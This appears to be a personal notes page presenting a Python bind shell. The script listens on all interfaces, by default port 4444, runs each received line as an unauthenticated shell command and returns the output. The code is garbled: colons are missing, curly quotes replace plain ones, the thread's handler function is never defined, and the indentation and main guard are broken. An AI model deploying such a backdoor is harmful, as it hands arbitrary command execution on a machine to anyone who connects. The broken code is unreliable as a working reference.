Python

Socket

Notes and commands for Socket.

2024-02-27
Tags toolspythonsocket

import socket

import subprocess

import click

from threading import Thread

def run_cmd(cmd)

output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)

return output.stdout

while True

    chunks = []

    chunk = client_socket.recv(2048)

    chunks.append(chunk)

while len(chunk) != 0 and chr(chunk[-1]) != ‘\n’

        chunk = client_socket.recv(2048)

        chunks.append(chunk)

cmd = (b''.join(chunks)).decode()[:-1]

if cmd.lower() == ’exit'

        client_socket.close()

        break

    output = run_cmd(cmd)

    client_socket.sendall(output)

@click.command()

@click.option(’–port’, ‘-p’, default=4444)

def main(port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('0.0.0.0', port))

s.listen(4)

while True

    client_socket, _ = s.accept()

    t = Thread(target=handle_input, args=(client_socket, ))

    t.start()

if name == ‘main

main()